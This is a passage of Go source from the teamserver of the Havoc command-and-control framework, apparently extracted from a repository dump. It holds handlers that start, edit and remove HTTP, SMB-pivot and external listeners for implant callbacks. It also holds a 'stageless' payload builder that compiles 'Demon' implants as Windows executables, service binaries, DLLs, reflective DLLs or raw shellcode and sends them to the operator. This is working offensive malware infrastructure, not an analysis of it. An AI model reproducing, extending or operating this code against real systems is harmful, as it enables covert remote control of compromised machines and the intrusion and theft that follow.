true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Host\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Host = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy host not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Port\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Port = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy port not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Username\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Username = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy username not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Password\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Password = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy password not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif pk.Body.Info[\"Secure\"].(string) == \"true\" {\n\t\t\t\t\tConfig.Secure = true\n\t\t\t\t}\n\n\t\t\t\tif err := t.ListenerStart(handlers.LISTENER_HTTP, Config); err != nil {\n\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), err))\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase handlers.AGENT_PIVOT_SMB:\n\t\t\t\tvar (\n\t\t\t\t\tSmdConfig handlers.SMBConfig\n\t\t\t\t\tfound     bool\n\t\t\t\t)\n\n\t\t\t\tSmdConfig.Name, found = pk.Body.Info[\"Name\"].(string)\n\t\t\t\tif !found {\n\t\t\t\t\tSmdConfig.Name = \"\"\n\t\t\t\t}\n\n\t\t\t\tSmdConfig.PipeName, found = pk.Body.Info[\"PipeName\"].(string)\n\t\t\t\tif !found {\n\t\t\t\t\tSmdConfig.Name = \"\"\n\t\t\t\t}\n\n\t\t\t\tif err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, SmdConfig); err != nil {\n\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), err))\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase handlers.AGENT_EXTERNAL:\n\t\t\t\tvar (\n\t\t\t\t\tExtConfig handlers.ExternalConfig\n\t\t\t\t\tfound     bool\n\t\t\t\t)\n\n\t\t\t\tExtConfig.Name, found = pk.Body.Info[\"Name\"].(string)\n\t\t\t\tif !found {\n\t\t\t\t\tExtConfig.Name = \"\"\n\t\t\t\t}\n\n\t\t\t\tExtConfig.Endpoint, found = pk.Body.Info[\"Endpoint\"].(string)\n\t\t\t\tif !found {\n\t\t\t\t\tlogger.Error(\"Listener SMB Pivot: Endpoint not specified\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tif err := t.ListenerStart(handlers.LISTENER_EXTERNAL, ExtConfig); err != nil {\n\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), err))\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\n\t\t\t\t// check if the service endpoint is up and available\n\t\t\t\tif t.Service != nil {\n\n\t\t\t\t\tfor _, listener := range t.Service.Listeners {\n\n\t\t\t\t\t\tif Protocol == listener.Name {\n\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tListenerName string\n\t\t\t\t\t\t\t\terr          error\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\t// retrieve the listener name\n\t\t\t\t\t\t\tif val, ok := pk.Body.Info[\"Name\"]; ok {\n\t\t\t\t\t\t\t\tListenerName = val.(string)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// try to start the listener.\n\t\t\t\t\t\t\tif err = listener.Start(pk.Body.Info); err != nil {\n\t\t\t\t\t\t\t\tt.EventListenerError(ListenerName, err)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// append the listener to the teamserver listener array\n\t\t\t\t\t\t\tt.Listeners = append(t.Listeners, &Listener{\n\t\t\t\t\t\t\t\tName: ListenerName,\n\t\t\t\t\t\t\t\tType: handlers.LISTENER_SERVICE,\n\t\t\t\t\t\t\t\tConfig: handlers.Service{\n\t\t\t\t\t\t\t\t\tService: listener,\n\t\t\t\t\t\t\t\t\tInfo:    pk.Body.Info,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t})\n\n\t\t\t\t\t\t\t// break from this switch\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t// didn't found the protocol type so just abort\n\t\t\t\tlogger.Error(\"Listener Type not found: \", Protocol)\n\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase packager.Type.Listener.Remove:\n\n\t\t\tif val, ok := pk.Body.Info[\"Name\"]; ok {\n\t\t\t\tt.ListenerRemove(val.(string))\n\n\t\t\t\tvar p = events.Listener.ListenerRemove(val.(string))\n\n\t\t\t\tt.EventAppend(p)\n\t\t\t\tt.EventBroadcast(\"\", p)\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase packager.Type.Listener.Edit:\n\n\t\t\tvar Protocol = pk.Body.Info[\"Protocol\"].(string)\n\t\t\tswitch Protocol {\n\n\t\t\tcase handlers.AGENT_HTTP, handlers.AGENT_HTTPS:\n\t\t\t\tvar (\n\t\t\t\t\tHostBind string\n\t\t\t\t\tHosts    []string\n\t\t\t\t\tHeaders  []string\n\t\t\t\t\tUris     []string\n\t\t\t\t)\n\n\t\t\t\tHostBind = pk.Body.Info[\"HostBind\"].(string)\n\n\t\t\t\tfor _, s := range strings.Split(pk.Body.Info[\"Hosts\"].(string), \", \") {\n\t\t\t\t\tif len(s) > 0 {\n\t\t\t\t\t\tHosts = append(Hosts, s)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor _, s := range strings.Split(pk.Body.Info[\"Headers\"].(string), \", \") {\n\t\t\t\t\tif len(s) > 0 {\n\t\t\t\t\t\tHeaders = append(Headers, s)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor _, s := range strings.Split(pk.Body.Info[\"Uris\"].(string), \", \") {\n\t\t\t\t\tif len(s) > 0 {\n\t\t\t\t\t\tUris = append(Uris, s)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tvar Config = handlers.HTTPConfig{\n\t\t\t\t\tName:         pk.Body.Info[\"Name\"].(string),\n\t\t\t\t\tHosts:        Hosts,\n\t\t\t\t\tHostBind:     HostBind,\n\t\t\t\t\tHostRotation: pk.Body.Info[\"HostRotation\"].(string),\n\t\t\t\t\tPortBind:     pk.Body.Info[\"PortBind\"].(string),\n\t\t\t\t\tPortConn:     pk.Body.Info[\"PortConn\"].(string),\n\t\t\t\t\tHeaders:      Headers,\n\t\t\t\t\tUris:         Uris,\n\t\t\t\t\tHostHeader:   pk.Body.Info[\"HostHeader\"].(string),\n\t\t\t\t\tUserAgent:    pk.Body.Info[\"UserAgent\"].(string),\n\t\t\t\t}\n\n\t\t\t\tif val, ok := pk.Body.Info[\"Proxy Enabled\"].(string); ok {\n\t\t\t\t\tConfig.Proxy.Enabled = false\n\n\t\t\t\t\tif val == \"true\" {\n\t\t\t\t\t\tConfig.Proxy.Enabled = true\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Type\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Type = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy type not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Host\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Host = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy host not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Port\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Port = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy port not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Username\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Username = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy username not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Password\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Password = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy password not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif pk.Body.Info[\"Secure\"].(string) == \"true\" {\n\t\t\t\t\tConfig.Secure = true\n\t\t\t\t}\n\n\t\t\t\tt.ListenerEdit(handlers.LISTENER_HTTP, Config)\n\n\t\t\t\tvar p = events.Listener.ListenerEdit(handlers.LISTENER_HTTP, &Config)\n\n\t\t\t\tt.EventAppend(p)\n\t\t\t\tt.EventBroadcast(\"\", p)\n\n\t\t\t\tbreak\n\n\t\t\t}\n\n\t\t\tbreak\n\t\t}\n\n\tcase packager.Type.Gate.Type:\n\n\t\tswitch pk.Body.SubEvent {\n\t\tcase packager.Type.Gate.Stageless:\n\t\t\tvar (\n\t\t\t\tAgentType      = pk.Body.Info[\"AgentType\"].(string)\n\t\t\t\tListenerName   = pk.Body.Info[\"Listener\"].(string)\n\t\t\t\tArch           = pk.Body.Info[\"Arch\"].(string)\n\t\t\t\tFormat         = pk.Body.Info[\"Format\"].(string)\n\t\t\t\tConfig         = pk.Body.Info[\"Config\"].(string)\n\t\t\t\tSendConsoleMsg func(MsgType, Message string)\n\t\t\t\tClientID       string\n\t\t\t)\n\n\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\tClient := value.(*Client)\n\t\t\t\tif Client.Username == pk.Head.User {\n\t\t\t\t\tClientID = Client.ClientID\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\treturn true\n\t\t\t})\n\n\t\t\tSendConsoleMsg = func(MsgType, Message string) {\n\t\t\t\terr := t.SendEvent(ClientID, events.Gate.SendConsoleMessage(MsgType, Message))\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(\"Couldn't send Event: \" + err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif AgentType == \"Demon\" {\n\t\t\t\tgo func() {\n\t\t\t\t\tvar ConfigMap = make(map[string]any)\n\n\t\t\t\t\terr := json.Unmarshal([]byte(Config), &ConfigMap)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlogger.Error(\"Failed to Unmarshal json to object: \" + err.Error())\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tvar PayloadBuilder = builder.NewBuilder(builder.BuilderConfig{\n\t\t\t\t\t\tCompiler64: t.Settings.Compiler64,\n\t\t\t\t\t\tCompiler86: t.Settings.Compiler32,\n\t\t\t\t\t\tNasm:       t.Settings.Nasm,\n\t\t\t\t\t\tDebugDev:   t.Flags.Server.DebugDev,\n\t\t\t\t\t\tSendLogs:   t.Flags.Server.SendLogs,\n\t\t\t\t\t})\n\n\t\t\t\t\tPayloadBuilder.ClientId = ClientID\n\n\t\t\t\t\tif PayloadBuilder.ClientId == \"\" {\n\t\t\t\t\t\tlogger.Error(\"Couldn't find the Client\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tPayloadBuilder.SendConsoleMessage = SendConsoleMsg\n\n\t\t\t\t\terr = PayloadBuilder.SetConfig(Config)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tif Arch == \"x64\" {\n\t\t\t\t\t\tPayloadBuilder.SetArch(builder.ARCHITECTURE_X64)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tPayloadBuilder.SetArch(builder.ARCHITECTURE_X86)\n\t\t\t\t\t}\n\n\t\t\t\t\tvar Ext string\n\t\t\t\t\tif Arch == \"x64\" {\n\t\t\t\t\t\tExt = \".x64\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tExt = \".x86\"\n\t\t\t\t\t}\n\t\t\t\t\tlogger.Debug(Format)\n\t\t\t\t\tif Format == \"Windows Exe\" {\n\t\t\t\t\t\tPayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_EXE)\n\t\t\t\t\t\tExt += \".exe\"\n\t\t\t\t\t} else if Format == \"Windows Service Exe\" {\n\t\t\t\t\t\tPayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_SERVICE_EXE)\n\t\t\t\t\t\tExt += \".exe\"\n\t\t\t\t\t} else if Format == \"Windows Dll\" {\n\t\t\t\t\t\tPayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_DLL)\n\t\t\t\t\t\tExt += \".dll\"\n\t\t\t\t\t} else if Format == \"Windows Reflective Dll\" {\n\t\t\t\t\t\tPayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_REFLECTIVE_DLL)\n\t\t\t\t\t\tExt += \".dll\"\n\t\t\t\t\t} else if Format == \"Windows Shellcode\" {\n\t\t\t\t\t\tPayloadBuilder.SetFormat(builder.FILETYPE_WINDOWS_RAW_BINARY)\n\t\t\t\t\t\tExt += \".bin\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.Error(\"Unknown Format: \" + Format)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tfor i := 0; i < len(t.Listeners); i++ {\n\t\t\t\t\t\tif t.Listeners[i].Name == ListenerName {\n\t\t\t\t\t\t\tPayloadBuilder.SetListener(t.Listeners[i].Type, t.Listeners[i].Config)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tPayloadBuilder.SetExtension(Ext)\n\n\t\t\t\t\tif t.Profile.Config.Demon != nil && t.Profile.Config.Demon.Binary != nil {\n\t\t\t\t\t\tPayloadBuilder.SetPatchConfig(t.Profile.Config.Demon.Binary)\n\t\t\t\t\t}\n\n\t\t\t\t\tif PayloadBuilder.Build() {\n\t\t\t\t\t\tpal := PayloadBuilder.GetPayloadBytes()\n\t\t\t\t\t\tif len(pal) > 0 {\n\t\t\t\t\t\t\terr := t.SendEvent(PayloadBuilder.ClientId, events.Gate.SendStageless(\"demon\"+Ext, pal))\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tlogger.Error(\"Error while sending event: \" + err.Error())\n\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tPayloadBuilder.DeletePayload()\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}()\n\t\t\t} else {\n\t\t\t\t// send to Services\n\t\t\t\tfor _, Agent := range t.Service.Agents {\n\t\t\t\t\tif Agent.Name == AgentType {\n\t\t\t\t\t\tvar ConfigMap = make(map[string]any)\n\n\t\t\t\t\t\terr := json.Unmarshal([]byte(Config), &ConfigMap)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlogger.Error(\"Failed to Unmarshal json to object: \" + err.Error())\n\t\t\t\t\t\t\tSendConsoleMsg(\"Error\", \"Failed to Unmarshal json to object: \"+err.Error())\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tvar Options = map[string]any{\n\t\t\t\t\t\t\t\"Listener\": t.ListenerGetInfo(ListenerName),\n\t\t\t\t\t\t\t\"Arch\":     Arch,\n\t\t\t\t\t\t\t\"Format\":   Format,\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tAgent.SendAgentBuildRequest(ClientID, ConfigMap, Options)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "teamserver/cmd/server/listener.go",
    "content": "package server\n\nimport (\n\t\"Havoc/pkg/colors\"\n\t\"Havoc/pkg/events\"\n\t\"Havoc/pkg/handlers\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/packager\"\n\t\"Havoc/pkg/service\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/fatih/structs\"\n)\n\nfunc (t *Teamserver) ListenerStart(ListenerType int, info any) error {\n\n\tvar (\n\t\tListenerConfig any\n\t\tListenerName   string\n\t)\n\n\tfor _, listener := range t.Listeners {\n\t\tvar Name string\n\n\t\tswitch ListenerType {\n\t\tcase handlers.LISTENER_HTTP:\n\t\t\tName = info.(handlers.HTTPConfig).Name\n\t\t\tbreak\n\n\t\tcase handlers.LISTENER_PIVOT_SMB:\n\t\t\tName = info.(handlers.SMBConfig).Name\n\t\t\tbreak\n\n\t\tcase handlers.LISTENER_EXTERNAL:\n\t\t\tName = info.(handlers.ExternalConfig).Name\n\t\t\tbreak\n\t\t}\n\n\t\tif Name == listener.Name {\n\t\t\treturn errors.New(\"listener already exists\")\n\t\t}\n\t}\n\n\tswitch ListenerType {\n\n\tcase handlers.LISTENER_HTTP:\n\t\tvar HTTPConfig = handlers.NewConfigHttp()\n\t\tvar config = info.(handlers.HTTPConfig)\n\n\t\tHTTPConfig.Config = config\n\n\t\tHTTPConfig.Config.Secure = config.Secure\n\t\t// HTTPConfig.RoutineFunc = Functions\n\t\tHTTPConfig.Teamserver = t\n\n\t\tHTTPConfig.Start()\n\n\t\tListenerConfig = HTTPConfig\n\t\tListenerName = config.Name\n\n\t\tbreak\n\n\tcase handlers.LISTENER_PIVOT_SMB:\n\t\tvar SmbConfig = handlers.NewPivotSmb()\n\n\t\tSmbConfig.Config = info.(handlers.SMBConfig)\n\t\t// SmbConfig.RoutineFunc = Functions\n\t\tSmbConfig.Teamserver = t\n\n\t\t// this only prints a message and lets the client now that it is ready to use\n\t\tSmbConfig.Start()\n\n\t\tListenerConfig = SmbConfig\n\t\tListenerName = SmbConfig.Config.Name\n\n\t\tbreak\n\n\tcase handlers.LISTENER_EXTERNAL:\n\t\tvar (\n\t\t\tExtConfig = handlers.NewExternal(t.Server.Engine, info.(handlers.ExternalConfig))\n\t\t\tendpoint  = new(Endpoint)\n\t\t)\n\n\t\t// ExtConfig.RoutineFunc = Functions\n\t\tExtConfig.Teamserver = t\n\n\t\tExtConfig.Start()\n\n\t\tendpoint.Endpoint = ExtConfig.Config.Endpoint\n\t\tendpoint.Function = ExtConfig.Request\n\n\t\tt.EndpointAdd(endpoint)\n\n\t\tListenerConfig = ExtConfig\n\t\tListenerName = info.(handlers.ExternalConfig).Name\n\n\t\tbreak\n\t}\n\n\tt.Listeners = append(t.Listeners, &Listener{\n\t\tName:   ListenerName,\n\t\tType:   ListenerType,\n\t\tConfig: ListenerConfig,\n\t})\n\n\treturn nil\n}\n\nfunc (t *Teamserver) ListenerExist(Name string) bool {\n\n\tfor _, l := range t.Listeners {\n\t\tif l.Name == Name {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (t *Teamserver) ListenerGetInfo(Name string) map[string]any {\n\n\tfor _, listener := range t.Listeners {\n\t\tif listener.Name == Name {\n\t\t\tswitch listener.Type {\n\t\t\tcase handlers.LISTENER_HTTP:\n\t\t\t\treturn structs.Map(listener.Config.(*handlers.HTTP).Config)\n\n\t\t\tcase handlers.LISTENER_EXTERNAL:\n\t\t\t\tbreak\n\n\t\t\tcase handlers.LISTENER_PIVOT_SMB:\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (t *Teamserver) ListenerRemove(Name string) ([]*Listener, []packager.Package) {\n\tfor i := range t.Listeners {\n\t\tif t.Listeners[i].Name == Name {\n\n\t\t\tswitch t.Listeners[i].Config.(type) {\n\t\t\tcase *handlers.HTTP:\n\t\t\t\terr := t.Listeners[i].Config.(*handlers.HTTP).Stop()\n\t\t\t\tif err != nil {\n\t\t\t\t\tvar pk = events.Listener.ListenerError(\"\", t.Listeners[i].Name, err)\n\n\t\t\t\t\tt.EventAppend(pk)\n\t\t\t\t\tt.EventBroadcast(\"\", pk)\n\t\t\t\t}\n\n\t\t\tcase *handlers.External:\n\t\t\t\tt.EndpointRemove(t.Listeners[i].Config.(*handlers.External).Config.Endpoint)\n\t\t\t}\n\n\t\t\t// remove the listener from our database\n\t\t\terr := t.DB.ListenerRemove(Name)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Failed to remove listener: \", Name)\n\t\t\t\treturn t.Listeners, t.EventsList\n\t\t\t}\n\n\t\t\tt.Listeners = append(t.Listeners[:i], t.Listeners[i+1:]...)\n\n\t\t\tfor EventID := range t.EventsList {\n\t\t\t\tif t.EventsList[EventID].Head.Event == packager.Type.Listener.Type {\n\t\t\t\t\tif t.EventsList[EventID].Body.SubEvent == packager.Type.Listener.Add {\n\t\t\t\t\t\tif name, ok := t.EventsList[EventID].Body.Info[\"Name\"]; ok {\n\t\t\t\t\t\t\tif name == Name {\n\t\t\t\t\t\t\t\tt.EventsList = append(t.EventsList[:EventID], t.EventsList[EventID+1:]...)\n\t\t\t\t\t\t\t\treturn t.Listeners, 